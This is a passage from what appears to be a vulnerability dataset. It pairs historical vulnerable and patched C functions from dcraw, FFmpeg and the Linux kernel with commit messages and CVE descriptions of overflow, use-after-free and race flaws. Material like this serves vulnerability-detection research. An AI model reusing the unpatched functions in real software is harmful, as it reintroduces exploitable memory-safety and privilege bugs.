	jh->sraw = ((data[7] >> 4) * (data[7] & 15) - 1) & 3;
      case 0xffc0:
	jh->bits = data[0];
	jh->high = data[1] << 8 | data[2];
	jh->wide = data[3] << 8 | data[4];
	jh->clrs = data[5] + jh->sraw;
	if (len == 9 && !dng_version) getc(ifp);
	break;
      case 0xffc4:
	if (info_only) break;
	for (dp = data; dp < data+len && (c = *dp++) < 4; )
	  jh->free[c] = jh->huff[c] = make_decoder_ref (&dp);
	break;
      case 0xffda:
	jh->psv = data[1+data[0]*2];
	jh->bits -= data[3+data[0]*2] & 15;
	break;
      case 0xffdd:
	jh->restart = data[0] << 8 | data[1];
    }
  } while (tag != 0xffda);
  if (info_only) return 1;
  FORC(5) if (!jh->huff[c+1]) jh->huff[c+1] = jh->huff[c];
  if (jh->sraw) {
    FORC(4)        jh->huff[2+c] = jh->huff[1];
    FORC(jh->sraw) jh->huff[1+c] = jh->huff[0];
  }
  jh->row = (ushort *) calloc (jh->wide*jh->clrs, 4);
  merror (jh->row, "ljpeg_start()");
  return zero_after_ff = 1;
}

Integer overflow in the ljpeg_start function in dcraw 7.00 and earlier allows remote attackers to cause a denial of service (crash) via a crafted image, which triggers a buffer overflow, related to the len variable.


 int CLASS ljpeg_start (struct jhead *jh, int info_only)
 {
  int c, tag;
  ushort len;
   uchar data[0x10000];
   const uchar *dp;

  memset (jh, 0, sizeof *jh);
  jh->restart = INT_MAX;
  fread (data, 2, 1, ifp);
  if (data[1] != 0xd8) return 0;
  do {
    fread (data, 2, 2, ifp);
    tag =  data[0] << 8 | data[1];
    len = (data[2] << 8 | data[3]) - 2;
    if (tag <= 0xff00) return 0;
    fread (data, 1, len, ifp);
    switch (tag) {
      case 0xffc3:
	jh->sraw = ((data[7] >> 4) * (data[7] & 15) - 1) & 3;
      case 0xffc0:
	jh->bits = data[0];
	jh->high = data[1] << 8 | data[2];
	jh->wide = data[3] << 8 | data[4];
	jh->clrs = data[5] + jh->sraw;
	if (len == 9 && !dng_version) getc(ifp);
	break;
      case 0xffc4:
	if (info_only) break;
	for (dp = data; dp < data+len && (c = *dp++) < 4; )
	  jh->free[c] = jh->huff[c] = make_decoder_ref (&dp);
	break;
      case 0xffda:
	jh->psv = data[1+data[0]*2];
	jh->bits -= data[3+data[0]*2] & 15;
	break;
      case 0xffdd:
	jh->restart = data[0] << 8 | data[1];
    }
  } while (tag != 0xffda);
  if (info_only) return 1;
  FORC(5) if (!jh->huff[c+1]) jh->huff[c+1] = jh->huff[c];
  if (jh->sraw) {
    FORC(4)        jh->huff[2+c] = jh->huff[1];
    FORC(jh->sraw) jh->huff[1+c] = jh->huff[0];
  }
  jh->row = (ushort *) calloc (jh->wide*jh->clrs, 4);
  merror (jh->row, "ljpeg_start()");
  return zero_after_ff = 1;
}


avcodec/h264: Clear delayed_pic on deallocation

Fixes use of freed memory

Fixes: case5_av_frame_copy_props.mp4
Found-by: Michal Zalewski <lcamtuf@coredump.cx>
Signed-off-by: Michael Niedermayer <michaelni@gmx.at>

void ff_h264_free_tables(H264Context *h, int free_rbsp)
{
    int i;
    H264Context *hx;

    av_freep(&h->intra4x4_pred_mode);
    av_freep(&h->chroma_pred_mode_table);
    av_freep(&h->cbp_table);
    av_freep(&h->mvd_table[0]);
    av_freep(&h->mvd_table[1]);
    av_freep(&h->direct_table);
    av_freep(&h->non_zero_count);
    av_freep(&h->slice_table_base);
    h->slice_table = NULL;
    av_freep(&h->list_counts);

    av_freep(&h->mb2b_xy);
    av_freep(&h->mb2br_xy);

    av_buffer_pool_uninit(&h->qscale_table_pool);
    av_buffer_pool_uninit(&h->mb_type_pool);
    av_buffer_pool_uninit(&h->motion_val_pool);
    av_buffer_pool_uninit(&h->ref_index_pool);

     if (free_rbsp && h->DPB) {
         for (i = 0; i < H264_MAX_PICTURE_COUNT; i++)
             ff_h264_unref_picture(h, &h->DPB[i]);
         av_freep(&h->DPB);
     } else if (h->DPB) {
         for (i = 0; i < H264_MAX_PICTURE_COUNT; i++)
            h->DPB[i].needs_realloc = 1;
    }

    h->cur_pic_ptr = NULL;

    for (i = 0; i < H264_MAX_THREADS; i++) {
        hx = h->thread_context[i];
        if (!hx)
            continue;
        av_freep(&hx->top_borders[1]);
        av_freep(&hx->top_borders[0]);
        av_freep(&hx->bipred_scratchpad);
        av_freep(&hx->edge_emu_buffer);
        av_freep(&hx->dc_val_base);
        av_freep(&hx->er.mb_index2xy);
        av_freep(&hx->er.error_status_table);
        av_freep(&hx->er.er_temp_buffer);
        av_freep(&hx->er.mbintra_table);
        av_freep(&hx->er.mbskip_table);

        if (free_rbsp) {
            av_freep(&hx->rbsp_buffer[1]);
            av_freep(&hx->rbsp_buffer[0]);
            hx->rbsp_buffer_size[0] = 0;
            hx->rbsp_buffer_size[1] = 0;
        }
        if (i)
            av_freep(&h->thread_context[i]);
    }
}

Use-after-free vulnerability in the ff_h264_free_tables function in libavcodec/h264.c in FFmpeg before 2.3.6 allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted H.264 data in an MP4 file, as demonstrated by an HTML VIDEO element that references H.264 data.


void ff_h264_free_tables(H264Context *h, int free_rbsp)
{
    int i;
    H264Context *hx;

    av_freep(&h->intra4x4_pred_mode);
    av_freep(&h->chroma_pred_mode_table);
    av_freep(&h->cbp_table);
    av_freep(&h->mvd_table[0]);
    av_freep(&h->mvd_table[1]);
    av_freep(&h->direct_table);
    av_freep(&h->non_zero_count);
    av_freep(&h->slice_table_base);
    h->slice_table = NULL;
    av_freep(&h->list_counts);

    av_freep(&h->mb2b_xy);
    av_freep(&h->mb2br_xy);

    av_buffer_pool_uninit(&h->qscale_table_pool);
    av_buffer_pool_uninit(&h->mb_type_pool);
    av_buffer_pool_uninit(&h->motion_val_pool);
    av_buffer_pool_uninit(&h->ref_index_pool);

     if (free_rbsp && h->DPB) {
         for (i = 0; i < H264_MAX_PICTURE_COUNT; i++)
             ff_h264_unref_picture(h, &h->DPB[i]);
        memset(h->delayed_pic, 0, sizeof(h->delayed_pic));
         av_freep(&h->DPB);
     } else if (h->DPB) {
         for (i = 0; i < H264_MAX_PICTURE_COUNT; i++)
            h->DPB[i].needs_realloc = 1;
    }

    h->cur_pic_ptr = NULL;

    for (i = 0; i < H264_MAX_THREADS; i++) {
        hx = h->thread_context[i];
        if (!hx)
            continue;
        av_freep(&hx->top_borders[1]);
        av_freep(&hx->top_borders[0]);
        av_freep(&hx->bipred_scratchpad);
        av_freep(&hx->edge_emu_buffer);
        av_freep(&hx->dc_val_base);
        av_freep(&hx->er.mb_index2xy);
        av_freep(&hx->er.error_status_table);
        av_freep(&hx->er.er_temp_buffer);
        av_freep(&hx->er.mbintra_table);
        av_freep(&hx->er.mbskip_table);

        if (free_rbsp) {
            av_freep(&hx->rbsp_buffer[1]);
            av_freep(&hx->rbsp_buffer[0]);
            hx->rbsp_buffer_size[0] = 0;
            hx->rbsp_buffer_size[1] = 0;
        }
        if (i)
            av_freep(&h->thread_context[i]);
    }
}


fs: take i_mutex during prepare_binprm for set[ug]id executables

This prevents a race between chown() and execve(), where chowning a
setuid-user binary to root would momentarily make the binary setuid
root.

This patch was mostly written by Linus Torvalds.

Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

 int prepare_binprm(struct linux_binprm *bprm)
 {
	struct inode *inode = file_inode(bprm->file);
	umode_t mode = inode->i_mode;
 	int retval;

	/* clear any previous set[ug]id data from a previous binary */
	bprm->cred->euid = current_euid();
	bprm->cred->egid = current_egid();
	if (!(bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) &&
	    !task_no_new_privs(current) &&
	    kuid_has_mapping(bprm->cred->user_ns, inode->i_uid) &&
	    kgid_has_mapping(bprm->cred->user_ns, inode->i_gid)) {
		/* Set-uid? */
		if (mode & S_ISUID) {
			bprm->per_clear |= PER_CLEAR_ON_SETID;
			bprm->cred->euid = inode->i_uid;
		}
		/* Set-gid? */
		/*
		 * If setgid is set but no group execute bit then this
		 * is a candidate for mandatory locking, not a setgid
		 * executable.
		 */
		if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
			bprm->per_clear |= PER_CLEAR_ON_SETID;
			bprm->cred->egid = inode->i_gid;
		}
	}

 	/* fill in binprm security blob */
 	retval = security_bprm_set_creds(bprm);
	if (retval)
		return retval;
	bprm->cred_prepared = 1;

	memset(bprm->buf, 0, BINPRM_BUF_SIZE);
	return kernel_read(bprm->file, 0, bprm->buf, BINPRM_BUF_SIZE);
}

Race condition in the prepare_binprm function in fs/exec.c in the Linux kernel before 3.19.6 allows local users to gain privileges by executing a setuid program at a time instant when a chown to root is in progress, and the ownership is changed but the setuid bit is not yet stripped.


 int prepare_binprm(struct linux_binprm *bprm)
 {
 	int retval;

	bprm_fill_uid(bprm);

 	/* fill in binprm security blob */
 	retval = security_bprm_set_creds(bprm);
	if (retval)
		return retval;
	bprm->cred_prepared = 1;

	memset(bprm->buf, 0, BINPRM_BUF_SIZE);
	return kernel_read(bprm->file, 0, bprm->buf, BINPRM_BUF_SIZE);
}


crypto: aesni - fix memory usage in GCM decryption

The kernel crypto API logic requires the caller to provide the
length of (ciphertext || authentication tag) as cryptlen for the
AEAD decryption operation. Thus, the cipher implementation must
calculate the size of the plaintext output itself and cannot simply use
cryptlen.

The RFC4106 GCM decryption operation tries to overwrite cryptlen memory
in req->dst. As the destination buffer for decryption only needs to hold
the plaintext memory but cryptlen references the input buffer holding
(ciphertext || authentication tag), the assumption of the destination
buffer length in RFC4106 GCM operation leads to a too large size. This
patch simply uses the already calculated plaintext size.

In addition, this patch fixes the offset calculation of the AAD buffer
pointer: as mentioned before, cryptlen already includes the size of the
tag. Thus, the tag does not need to be added. With the addition, the AAD
will be written beyond the already allocated buffer.

Note, this fixes a kernel crash that can be triggered from user space
via AF_ALG(aead) -- simply use the libkcapi test application
from [1] and update it to use rfc4106-gcm-aes.

Using [1], the changes were tested using CAVS vectors to demonstrate
that the crypto operation still delivers the right results.

[1] http://www.chronox.de/libkcapi.html

CC: Tadeusz Struk <tadeusz.struk@intel.com>
Cc: stable@vger.kernel.org
Signed-off-by: Stephan Mueller <smueller@chronox.de>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

static int __driver_rfc4106_decrypt(struct aead_request *req)
{
	u8 one_entry_in_sg = 0;
	u8 *src, *dst, *assoc;
	unsigned long tempCipherLen = 0;
	__be32 counter = cpu_to_be32(1);
	int retval = 0;
	struct crypto_aead *tfm = crypto_aead_reqtfm(req);
	struct aesni_rfc4106_gcm_ctx *ctx = aesni_rfc4106_gcm_ctx_get(tfm);
	u32 key_len = ctx->aes_key_expanded.key_length;
	void *aes_ctx = &(ctx->aes_key_expanded);
	unsigned long auth_tag_len = crypto_aead_authsize(tfm);
	u8 iv_and_authTag[32+AESNI_ALIGN];
	u8 *iv = (u8 *) PTR_ALIGN((u8 *)iv_and_authTag, AESNI_ALIGN);
	u8 *authTag = iv + 16;
	struct scatter_walk src_sg_walk;
	struct scatter_walk assoc_sg_walk;
	struct scatter_walk dst_sg_walk;
	unsigned int i;

	if (unlikely((req->cryptlen < auth_tag_len) ||
		(req->assoclen != 8 && req->assoclen != 12)))
		return -EINVAL;
	if (unlikely(auth_tag_len != 8 && auth_tag_len != 12 && auth_tag_len != 16))
	        return -EINVAL;
	if (unlikely(key_len != AES_KEYSIZE_128 &&
	             key_len != AES_KEYSIZE_192 &&
	             key_len != AES_KEYSIZE_256))
	        return -EINVAL;

	/* Assuming we are supporting rfc4106 64-bit extended */
	/* sequence numbers We need to have the AAD length */
	/* equal to 8 or 12 bytes */

	tempCipherLen = (unsigned long)(req->cryptlen - auth_tag_len);
	/* IV below built */
	for (i = 0; i < 4; i++)
		*(iv+i) = ctx->nonce[i];
	for (i = 0; i < 8; i++)
		*(iv+4+i) = req->iv[i];
	*((__be32 *)(iv+12)) = counter;

	if ((sg_is_last(req->src)) && (sg_is_last(req->assoc))) {
		one_entry_in_sg = 1;
		scatterwalk_start(&src_sg_walk, req->src);
		scatterwalk_start(&assoc_sg_walk, req->assoc);
		src = scatterwalk_map(&src_sg_walk);
		assoc = scatterwalk_map(&assoc_sg_walk);
		dst = src;
		if (unlikely(req->src != req->dst)) {
			scatterwalk_start(&dst_sg_walk, req->dst);
			dst = scatterwalk_map(&dst_sg_walk);
		}

	} else {
		/* Allocate memory for src, dst, assoc */
 		src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC);
 		if (!src)
 			return -ENOMEM;
		assoc = (src + req->cryptlen + auth_tag_len);
 		scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0);
 		scatterwalk_map_and_copy(assoc, req->assoc, 0,
 			req->assoclen, 0);
		dst = src;
	}

	aesni_gcm_dec_tfm(aes_ctx, dst, src, tempCipherLen, iv,
		ctx->hash_subkey, assoc, (unsigned long)req->assoclen,
		authTag, auth_tag_len);

	/* Compare generated tag with passed in tag. */
	retval = crypto_memneq(src + tempCipherLen, authTag, auth_tag_len) ?
		-EBADMSG : 0;

	if (one_entry_in_sg) {
		if (unlikely(req->src != req->dst)) {
			scatterwalk_unmap(dst);
			scatterwalk_done(&dst_sg_walk, 0, 0);
		}
		scatterwalk_unmap(src);
		scatterwalk_unmap(assoc);
 		scatterwalk_done(&src_sg_walk, 0, 0);
 		scatterwalk_done(&assoc_sg_walk, 0, 0);
 	} else {
		scatterwalk_map_and_copy(dst, req->dst, 0, req->cryptlen, 1);
 		kfree(src);
 	}
 	return retval;
}

The __driver_rfc4106_decrypt function in arch/x86/crypto/aesni-intel_glue.c in the Linux kernel before 3.19.3 does not properly determine the memory locations used for encrypted data, which allows context-dependent attackers to cause a denial of service (buffer overflow and system crash) or possibly execute arbitrary code by triggering a crypto API call, as demonstrated by use of a libkcapi test program with an AF_ALG(aead) socket.


static int __driver_rfc4106_decrypt(struct aead_request *req)
{
	u8 one_entry_in_sg = 0;
	u8 *src, *dst, *assoc;
	unsigned long tempCipherLen = 0;
	__be32 counter = cpu_to_be32(1);
	int retval = 0;
	struct crypto_aead *tfm = crypto_aead_reqtfm(req);
	struct aesni_rfc4106_gcm_ctx *ctx = aesni_rfc4106_gcm_ctx_get(tfm);
	u32 key_len = ctx->aes_key_expanded.key_length;
	void *aes_ctx = &(ctx->aes_key_expanded);
	unsigned long auth_tag_len = crypto_aead_authsize(tfm);
	u8 iv_and_authTag[32+AESNI_ALIGN];
	u8 *iv = (u8 *) PTR_ALIGN((u8 *)iv_and_authTag, AESNI_ALIGN);
	u8 *authTag = iv + 16;
	struct scatter_walk src_sg_walk;
	struct scatter_walk assoc_sg_walk;
	struct scatter_walk dst_sg_walk;
	unsigned int i;

	if (unlikely((req->cryptlen < auth_tag_len) ||
		(req->assoclen != 8 && req->assoclen != 12)))
		return -EINVAL;
	if (unlikely(auth_tag_len != 8 && auth_tag_len != 12 && auth_tag_len != 16))
	        return -EINVAL;
	if (unlikely(key_len != AES_KEYSIZE_128 &&
	             key_len != AES_KEYSIZE_192 &&
	             key_len != AES_KEYSIZE_256))
	        return -EINVAL;

	/* Assuming we are supporting rfc4106 64-bit extended */
	/* sequence numbers We need to have the AAD length */
	/* equal to 8 or 12 bytes */

	tempCipherLen = (unsigned long)(req->cryptlen - auth_tag_len);
	/* IV below built */
	for (i = 0; i < 4; i++)
		*(iv+i) = ctx->nonce[i];
	for (i = 0; i < 8; i++)
		*(iv+4+i) = req->iv[i];
	*((__be32 *)(iv+12)) = counter;

	if ((sg_is_last(req->src)) && (sg_is_last(req->assoc))) {
		one_entry_in_sg = 1;
		scatterwalk_start(&src_sg_walk, req->src);
		scatterwalk_start(&assoc_sg_walk, req->assoc);
		src = scatterwalk_map(&src_sg_walk);
		assoc = scatterwalk_map(&assoc_sg_walk);
		dst = src;
		if (unlikely(req->src != req->dst)) {
			scatterwalk_start(&dst_sg_walk, req->dst);
			dst = scatterwalk_map(&dst_sg_walk);
		}

	} else {
		/* Allocate memory for src, dst, assoc */
 		src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC);
 		if (!src)
 			return -ENOMEM;
		assoc = (src + req->cryptlen);
 		scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0);
 		scatterwalk_map_and_copy(assoc, req->assoc, 0,
 			req->assoclen, 0);
		dst = src;
	}

	aesni_gcm_dec_tfm(aes_ctx, dst, src, tempCipherLen, iv,
		ctx->hash_subkey, assoc, (unsigned long)req->assoclen,
		authTag, auth_tag_len);

	/* Compare generated tag with passed in tag. */
	retval = crypto_memneq(src + tempCipherLen, authTag, auth_tag_len) ?
		-EBADMSG : 0;

	if (one_entry_in_sg) {
		if (unlikely(req->src != req->dst)) {
			scatterwalk_unmap(dst);
			scatterwalk_done(&dst_sg_walk, 0, 0);
		}
		scatterwalk_unmap(src);
		scatterwalk_unmap(assoc);
 		scatterwalk_done(&src_sg_walk, 0, 0);
 		scatterwalk_done(&assoc_sg_walk, 0, 0);
 	} else {
		scatterwalk_map_and_copy(dst, req->dst, 0, tempCipherLen, 1);
 		kfree(src);
 	}
 	return retval;
}


ipv6: Don't reduce hop limit for an interface

A local route may have a lower hop_limit set than global routes do.

RFC 3756, Section 4.2.7, "Parameter Spoofing"

>   1.  The attacker includes a Current Hop Limit of one or another small
>       number which the attacker knows will cause legitimate packets to
>       be dropped before they reach their destination.

>   As an example, one possible approach to mitigate this threat is to
>   ignore very small hop limits.  The nodes could implement a
>   configurable minimum hop limit, and ignore attempts to set it below
>   said limit.

Signed-off-by: D.S. Ljungmark <ljungmark@modio.se>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>

static void ndisc_router_discovery(struct sk_buff *skb)
{
	struct ra_msg *ra_msg = (struct ra_msg *)skb_transport_header(skb);
	struct neighbour *neigh = NULL;
	struct inet6_dev *in6_dev;
	struct rt6_info *rt = NULL;
	int lifetime;
	struct ndisc_options ndopts;
	int optlen;
	unsigned int pref = 0;

	__u8 *opt = (__u8 *)(ra_msg + 1);

	optlen = (skb_tail_pointer(skb) - skb_transport_header(skb)) -
		sizeof(struct ra_msg);

	ND_PRINTK(2, info,
		  "RA: %s, dev: %s\n",
		  __func__, skb->dev->name);
	if (!(ipv6_addr_type(&ipv6_hdr(skb)->saddr) & IPV6_ADDR_LINKLOCAL)) {
		ND_PRINTK(2, warn, "RA: source address is not link-local\n");
		return;
	}
	if (optlen < 0) {
		ND_PRINTK(2, warn, "RA: packet too short\n");
		return;
	}

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	if (skb->ndisc_nodetype == NDISC_NODETYPE_HOST) {
		ND_PRINTK(2, warn, "RA: from host or unauthorized router\n");
		return;
	}
#endif

	/*
	 *	set the RA_RECV flag in the interface
	 */

	in6_dev = __in6_dev_get(skb->dev);
	if (in6_dev == NULL) {
		ND_PRINTK(0, err, "RA: can't find inet6 device for %s\n",
			  skb->dev->name);
		return;
	}

	if (!ndisc_parse_options(opt, optlen, &ndopts)) {
		ND_PRINTK(2, warn, "RA: invalid ND options\n");
		return;
	}

	if (!ipv6_accept_ra(in6_dev)) {
		ND_PRINTK(2, info,
			  "RA: %s, did not accept ra for dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_linkparms;
	}

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	/* skip link-specific parameters from interior routers */
	if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) {
		ND_PRINTK(2, info,
			  "RA: %s, nodetype is NODEFAULT, dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_linkparms;
	}
#endif

	if (in6_dev->if_flags & IF_RS_SENT) {
		/*
		 *	flag that an RA was received after an RS was sent
		 *	out on this interface.
		 */
		in6_dev->if_flags |= IF_RA_RCVD;
	}

	/*
	 * Remember the managed/otherconf flags from most recently
	 * received RA message (RFC 2462) -- yoshfuji
	 */
	in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED |
				IF_RA_OTHERCONF)) |
				(ra_msg->icmph.icmp6_addrconf_managed ?
					IF_RA_MANAGED : 0) |
				(ra_msg->icmph.icmp6_addrconf_other ?
					IF_RA_OTHERCONF : 0);

	if (!in6_dev->cnf.accept_ra_defrtr) {
		ND_PRINTK(2, info,
			  "RA: %s, defrtr is false for dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_defrtr;
	}

	/* Do not accept RA with source-addr found on local machine unless
	 * accept_ra_from_local is set to true.
	 */
	if (!in6_dev->cnf.accept_ra_from_local &&
	    ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr,
			  NULL, 0)) {
		ND_PRINTK(2, info,
			  "RA from local address detected on dev: %s: default router ignored\n",
			  skb->dev->name);
		goto skip_defrtr;
	}

	lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime);

#ifdef CONFIG_IPV6_ROUTER_PREF
	pref = ra_msg->icmph.icmp6_router_pref;
	/* 10b is handled as if it were 00b (medium) */
	if (pref == ICMPV6_ROUTER_PREF_INVALID ||
	    !in6_dev->cnf.accept_ra_rtr_pref)
		pref = ICMPV6_ROUTER_PREF_MEDIUM;
#endif

	rt = rt6_get_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev);

	if (rt) {
		neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr);
		if (!neigh) {
			ND_PRINTK(0, err,
				  "RA: %s got default router without neighbour\n",
				  __func__);
			ip6_rt_put(rt);
			return;
		}
	}
	if (rt && lifetime == 0) {
		ip6_del_rt(rt);
		rt = NULL;
	}

	ND_PRINTK(3, info, "RA: rt: %p  lifetime: %d, for dev: %s\n",
		  rt, lifetime, skb->dev->name);
	if (rt == NULL && lifetime) {
		ND_PRINTK(3, info, "RA: adding default router\n");

		rt = rt6_add_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev, pref);
		if (rt == NULL) {
			ND_PRINTK(0, err,
				  "RA: %s failed to add default route\n",
				  __func__);
			return;
		}

		neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr);
		if (neigh == NULL) {
			ND_PRINTK(0, err,
				  "RA: %s got default router without neighbour\n",
				  __func__);
			ip6_rt_put(rt);
			return;
		}
		neigh->flags |= NTF_ROUTER;
	} else if (rt) {
		rt->rt6i_flags = (rt->rt6i_flags & ~RTF_PREF_MASK) | RTF_PREF(pref);
	}

 	if (rt)
 		rt6_set_expires(rt, jiffies + (HZ * lifetime));
 	if (ra_msg->icmph.icmp6_hop_limit) {
		in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit;
 		if (rt)
 			dst_metric_set(&rt->dst, RTAX_HOPLIMIT,
 				       ra_msg->icmph.icmp6_hop_limit);
	}

skip_defrtr:

	/*
	 *	Update Reachable Time and Retrans Timer
	 */

	if (in6_dev->nd_parms) {
		unsigned long rtime = ntohl(ra_msg->retrans_timer);

		if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/HZ) {
			rtime = (rtime*HZ)/1000;
			if (rtime < HZ/10)
				rtime = HZ/10;
			NEIGH_VAR_SET(in6_dev->nd_parms, RETRANS_TIME, rtime);
			in6_dev->tstamp = jiffies;
			inet6_ifinfo_notify(RTM_NEWLINK, in6_dev);
		}

		rtime = ntohl(ra_msg->reachable_time);
		if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) {
			rtime = (rtime*HZ)/1000;

			if (rtime < HZ/10)
				rtime = HZ/10;

			if (rtime != NEIGH_VAR(in6_dev->nd_parms, BASE_REACHABLE_TIME)) {
				NEIGH_VAR_SET(in6_dev->nd_parms,
					      BASE_REACHABLE_TIME, rtime);
				NEIGH_VAR_SET(in6_dev->nd_parms,
					      GC_STALETIME, 3 * rtime);
				in6_dev->nd_parms->reachable_time = neigh_rand_reach_time(rtime);
				in6_dev->tstamp = jiffies;
				inet6_ifinfo_notify(RTM_NEWLINK, in6_dev);
			}
		}
	}

skip_linkparms:

	/*
	 *	Process options.
	 */

	if (!neigh)
		neigh = __neigh_lookup(&nd_tbl, &ipv6_hdr(skb)->saddr,
				       skb->dev, 1);
	if (neigh) {
		u8 *lladdr = NULL;
		if (ndopts.nd_opts_src_lladdr) {
			lladdr = ndisc_opt_addr_data(ndopts.nd_opts_src_lladdr,
						     skb->dev);
			if (!lladdr) {
				ND_PRINTK(2, warn,
					  "RA: invalid link-layer address length\n");
				goto out;
			}
		}
		neigh_update(neigh, lladdr, NUD_STALE,
			     NEIGH_UPDATE_F_WEAK_OVERRIDE|
			     NEIGH_UPDATE_F_OVERRIDE|
			     NEIGH_UPDATE_F_OVERRIDE_ISROUTER|
			     NEIGH_UPDATE_F_ISROUTER);
	}

	if (!ipv6_accept_ra(in6_dev)) {
		ND_PRINTK(2, info,
			  "RA: %s, accept_ra is false for dev: %s\n",
			  __func__, skb->dev->name);
		goto out;
	}

#ifdef CONFIG_IPV6_ROUTE_INFO
	if (!in6_dev->cnf.accept_ra_from_local &&
	    ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr,
			  NULL, 0)) {
		ND_PRINTK(2, info,
			  "RA from local address detected on dev: %s: router info ignored.\n",
			  skb->dev->name);
		goto skip_routeinfo;
	}

	if (in6_dev->cnf.accept_ra_rtr_pref && ndopts.nd_opts_ri) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_opts_ri;
		     p;
		     p = ndisc_next_option(p, ndopts.nd_opts_ri_end)) {
			struct route_info *ri = (struct route_info *)p;
#ifdef CONFIG_IPV6_NDISC_NODETYPE
			if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT &&
			    ri->prefix_len == 0)
				continue;
#endif
			if (ri->prefix_len == 0 &&
			    !in6_dev->cnf.accept_ra_defrtr)
				continue;
			if (ri->prefix_len > in6_dev->cnf.accept_ra_rt_info_max_plen)
				continue;
			rt6_route_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3,
				      &ipv6_hdr(skb)->saddr);
		}
	}

skip_routeinfo:
#endif

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	/* skip link-specific ndopts from interior routers */
	if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) {
		ND_PRINTK(2, info,
			  "RA: %s, nodetype is NODEFAULT (interior routes), dev: %s\n",
			  __func__, skb->dev->name);
		goto out;
	}
#endif

	if (in6_dev->cnf.accept_ra_pinfo && ndopts.nd_opts_pi) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_opts_pi;
		     p;
		     p = ndisc_next_option(p, ndopts.nd_opts_pi_end)) {
			addrconf_prefix_rcv(skb->dev, (u8 *)p,
					    (p->nd_opt_len) << 3,
					    ndopts.nd_opts_src_lladdr != NULL);
		}
	}

	if (ndopts.nd_opts_mtu && in6_dev->cnf.accept_ra_mtu) {
		__be32 n;
		u32 mtu;

		memcpy(&n, ((u8 *)(ndopts.nd_opts_mtu+1))+2, sizeof(mtu));
		mtu = ntohl(n);

		if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) {
			ND_PRINTK(2, warn, "RA: invalid mtu: %d\n", mtu);
		} else if (in6_dev->cnf.mtu6 != mtu) {
			in6_dev->cnf.mtu6 = mtu;

			if (rt)
				dst_metric_set(&rt->dst, RTAX_MTU, mtu);

			rt6_mtu_change(skb->dev, mtu);
		}
	}

	if (ndopts.nd_useropts) {
		struct nd_opt_hdr *p;
		for (p = ndopts.nd_useropts;
		     p;
		     p = ndisc_next_useropt(p, ndopts.nd_useropts_end)) {
			ndisc_ra_useropt(skb, p);
		}
	}

	if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) {
		ND_PRINTK(2, warn, "RA: invalid RA options\n");
	}
out:
	ip6_rt_put(rt);
	if (neigh)
		neigh_release(neigh);
}

The ndisc_router_discovery function in net/ipv6/ndisc.c in the Neighbor Discovery (ND) protocol implementation in the IPv6 stack in the Linux kernel before 3.19.6 allows remote attackers to reconfigure a hop-limit setting via a small hop_limit value in a Router Advertisement (RA) message.


static void ndisc_router_discovery(struct sk_buff *skb)
{
	struct ra_msg *ra_msg = (struct ra_msg *)skb_transport_header(skb);
	struct neighbour *neigh = NULL;
	struct inet6_dev *in6_dev;
	struct rt6_info *rt = NULL;
	int lifetime;
	struct ndisc_options ndopts;
	int optlen;
	unsigned int pref = 0;

	__u8 *opt = (__u8 *)(ra_msg + 1);

	optlen = (skb_tail_pointer(skb) - skb_transport_header(skb)) -
		sizeof(struct ra_msg);

	ND_PRINTK(2, info,
		  "RA: %s, dev: %s\n",
		  __func__, skb->dev->name);
	if (!(ipv6_addr_type(&ipv6_hdr(skb)->saddr) & IPV6_ADDR_LINKLOCAL)) {
		ND_PRINTK(2, warn, "RA: source address is not link-local\n");
		return;
	}
	if (optlen < 0) {
		ND_PRINTK(2, warn, "RA: packet too short\n");
		return;
	}

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	if (skb->ndisc_nodetype == NDISC_NODETYPE_HOST) {
		ND_PRINTK(2, warn, "RA: from host or unauthorized router\n");
		return;
	}
#endif

	/*
	 *	set the RA_RECV flag in the interface
	 */

	in6_dev = __in6_dev_get(skb->dev);
	if (in6_dev == NULL) {
		ND_PRINTK(0, err, "RA: can't find inet6 device for %s\n",
			  skb->dev->name);
		return;
	}

	if (!ndisc_parse_options(opt, optlen, &ndopts)) {
		ND_PRINTK(2, warn, "RA: invalid ND options\n");
		return;
	}

	if (!ipv6_accept_ra(in6_dev)) {
		ND_PRINTK(2, info,
			  "RA: %s, did not accept ra for dev: %s\n",
			  __func__, skb->dev->name);
		goto skip_linkparms;
	}

#ifdef CONFIG_IPV6_NDISC_NODETYPE
	/* skip link-specific parameters from interior routers */
